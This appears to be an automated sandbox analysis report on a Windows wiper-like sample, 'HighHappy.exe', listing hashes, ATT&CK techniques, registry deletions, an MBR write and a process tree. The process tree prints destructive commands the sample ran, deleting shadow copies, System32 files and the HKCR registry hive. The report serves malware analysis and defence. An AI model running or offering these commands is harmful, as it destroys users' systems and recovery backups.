0f9617c86fd1a744a7185e1060b928cd05ddd63c70633dbe847d5582e60101fe

Analysis

max time kernel
8s
max time network
114s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
14/10/2026, 14:29

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Reason

Machine shutdown

General

Target
HighHappy.exe
Size 82KB
Sample261014-rt2bjswwhs
SHA256 0f9617c86fd1a744a7185e1060b928cd05ddd63c70633dbe847d5582e60101fe
MD5 788b0974f73acea93c7af807cbec1317
SHA1 8a5482beb542396efef378d2556698ba4aebf363
SHA512 487bab2035cef1a90f8c1f619af9b57784a4203b6291ef871db2340437f24184825ca931cb64f9fc58ebcc8b51e428f1261e8ff040cac2e919a285d00f8f1051
SSDEEP 1536:KahfyS/+TAODerDpbuEpPEUwsbuUrVzBq05j9aJggFSoHdduVm0A9SBwwVcl:KahfyS/+TAODer9bFpPEobbxN5M2gFSM
TLSH
T1F283A1557394E65AC4231735D991D3F4A730DD85EA46C34B36E8BE2B3EBD2E28E412C0
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

bootkit defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Disables Task Manager via registry modification
defense_evasion
Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Modifies system executable filetype association 2 TTPs 34 IoCs

persistence

Modify Registry

T1112

Change Default File Association

T1546.001

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\DefaultIcon	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\edit	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\print\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shell\open\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shellex\DropHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\comfile\DefaultIcon	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\DefaultIcon	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\runas\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\ContextMenuHandlers\PintoStartScreen	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\open\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\print	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shellex	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runasuser\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\ContextMenuHandlers\Compatibility	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shell	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\runasuser\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\ContextMenuHandlers	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\DropHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runas	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\comfile\shell\open	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\edit\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runas\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\runasuser	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shellex\ContextMenuHandlers\Compatibility	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\open	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runasuser	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\ContextMenuHandlers	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\DropHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\{8895b1c6-b41f-4c1c-a562-0d564250836f}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\runas	reg.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	HighHappy.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1160	cmd.exe
3696	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HighHappy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{BDEADE9E-C265-11D0-BCED-00A0C90AB50F}\ProgID	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{FF419FF9-90BE-4D9F-B410-A789F90E5A7C}\VersionIndependentProgID	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{000209F4-0000-0000-C000-000000000046}\LocalServer32	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Excel.Macrosheet\shell\Open	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\http\shell	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{0EEE46D5-A6E5-4F19-8611-0CD498175AC1}\ProxyStubClsid32	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{2f76661c-2f74-5ce2-99f9-47d1a3a13633}\ProxyStubClsid32	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.sct	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AllFilesystemObjects	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\WOW6432Node\CLSID\{A3CA1CF4-5F3E-4AC0-91B9-0D3716E1EAC3}\VersionIndependentProgID	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Dependencies\Microsoft.VS.VC_RuntimeAdditionalVSU_x86,v12\Dependents\{61087a79-ac85-455c-934d-1fa22cc64f36}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AcroExch.Document.7\shell\read	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\497A7447E2AFEB24ABA9F5BC5DC4D53F\SourceList	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{146E5396-3B32-49AC-901E-4C4A82FEE8C5}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\ApplicationContent\Shell\Open	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CID.Local\39383338-8473-4124-b56f-0c7cc2e844b2\CustomProperties\LOG\Path	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00020821-0000-0000-C000-000000000046}\DataFormats	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{000C037F-0000-0000-C000-000000000046}\TypeLib	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{000C03CC-0000-0000-C000-000000000046}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{0F2D35B3-DB34-4966-BEA6-59C7CD203862}\ProxyStubClsid32	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F8CF7A98-2C45-4c8d-9151-2D716989DDAB}\TypeLib	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.art	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Application.Reference\shellex\ContextMenuHandlers	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{f414c261-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Excel.Sheet.8\shell\Open	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{305104BC-98B5-11CF-BB82-00AA00BDCE0B}\TypeLib	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{18A06B6B-2F3F-4E2B-A611-52BE631B2D22}\DataFormats\GetSet\3	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{48E73304-E1D6-4330-914C-F5F514E3486C}\ProgID	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.mpa\ShellEx\{e357fccd-a995-4576-b01f-234630154e96}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Applications\vlc.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{5E7949FD-8F8D-4FC6-9752-8F7D406F3C90}\InprocHandler32	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Excel.Chart.8\Protocol\StdFileEditing	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\icofile\shellex\{e357fccd-a995-4576-b01f-234630154e96}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Dependencies\Microsoft.VS.VC_RuntimeAdditionalVSU_amd64,v14	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{0002E115-0000-0000-C000-000000000046}\TypeLib	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{3883C8B9-FF24-4571-A867-09F960426E14}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.pmr	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AcroExch.FDFDoc\AcrobatVersion	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00020821-0000-0000-C000-000000000046}\DataFormats\GetSet\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{64818D10-4F9B-11CF-86EA-00AA00B929E8}\DataFormats\DefaultFile	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CA8A9780-280D-11CF-A24D-444553540000}\Implemented Categories\{59FB2056-D625-48D0-A944-1A85B5AB2640}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Excel.Sheet.12\Protocol	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\6E815EB96CCE9A53884E7857C57002F0	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{000C031E-0000-0000-C000-000000000046}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.imesx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A571F412-E3D2-4A32-BF42-1D3B2203FF17}\Version	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000_Classes\WOW6432Node\CLSID\{AB807329-7324-431B-8B36-DBD581F56E0B}\ProgID	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{000C0371-0000-0000-C000-000000000046}\ProxyStubClsid32	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{000CDB05-0000-0000-C000-000000000046}\TypeLib	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AppID\{A2F09029-B553-4824-91EA-DBB749E79B16}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{AA14F9C9-62B5-4637-8AC4-8F25BF29D5A7}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{BDE0D630-7801-47cd-984E-1F0AFBC5ACBF}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Icad.ViewerDrawing	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.3g2\ShellEx\{e357fccd-a995-4576-b01f-234630154e96}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AllProtocols	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\group_wab_auto_file\DefaultIcon	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{000C0370-0000-0000-C000-000000000046}\ProxyStubClsid32	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{31f89ca6-dd7f-5325-9020-627d8b47ea02}\ProxyStubClsid32	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{C28C7795-22F8-467F-BD15-183453C27491}\InProcServer32	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{000C03E3-0000-0000-C000-000000000046}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AppX3p914qnpgw4hwj856jw2y286v7d4qnzh	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{048EB43E-2059-422F-95E0-557DA96038AF}\DataFormats\GetSet\4	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{1DA15C39-7E02-4EE8-8F60-FFF81275EE14}\ProxyStubClsid32	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{4815E0C3-F66C-4236-BD38-FE3810B54076}\ProxyStubClsid32	reg.exe

Suspicious behavior: EnumeratesProcesses 33 IoCs

pid	Process
4640	HighHappy.exe
4640	HighHappy.exe
4640	HighHappy.exe
4640	HighHappy.exe
4640	HighHappy.exe
4640	HighHappy.exe
4640	HighHappy.exe
4640	HighHappy.exe
4640	HighHappy.exe
4640	HighHappy.exe
4640	HighHappy.exe
4640	HighHappy.exe
4640	HighHappy.exe
4640	HighHappy.exe
4640	HighHappy.exe
4640	HighHappy.exe
4640	HighHappy.exe
4640	HighHappy.exe
4640	HighHappy.exe
4640	HighHappy.exe
4640	HighHappy.exe
4640	HighHappy.exe
4640	HighHappy.exe
4640	HighHappy.exe
4640	HighHappy.exe
4640	HighHappy.exe
4640	HighHappy.exe
4640	HighHappy.exe
4640	HighHappy.exe
4640	HighHappy.exe
4640	HighHappy.exe
4640	HighHappy.exe
4640	HighHappy.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4640	HighHappy.exe
Token: SeDebugPrivilege	4640	HighHappy.exe
Token: 33	3704	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	3704	AUDIODG.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4640 wrote to memory of 1160	4640	HighHappy.exe	88
PID 4640 wrote to memory of 1988	4640	HighHappy.exe	91
PID 4640 wrote to memory of 3696	4640	HighHappy.exe	92
PID 3696 wrote to memory of 5148	3696	cmd.exe	95

C:\Users\Admin\AppData\Local\Temp\HighHappy.exe
"C:\Users\Admin\AppData\Local\Temp\HighHappy.exe"
1⤵
- Writes to the Master Boot Record (MBR)
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4640
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C vssadmin delete shadows /for=C: /all
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:1160
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c del /s /q "C:\Windows\System32"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1988
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /k reg delete HKCR /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3696
- - C:\Windows\SysWOW64\reg.exe
    reg delete HKCR /f
    3⤵
    - Modifies system executable filetype association
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:5148

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004FC 0x00000000000004F0
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3704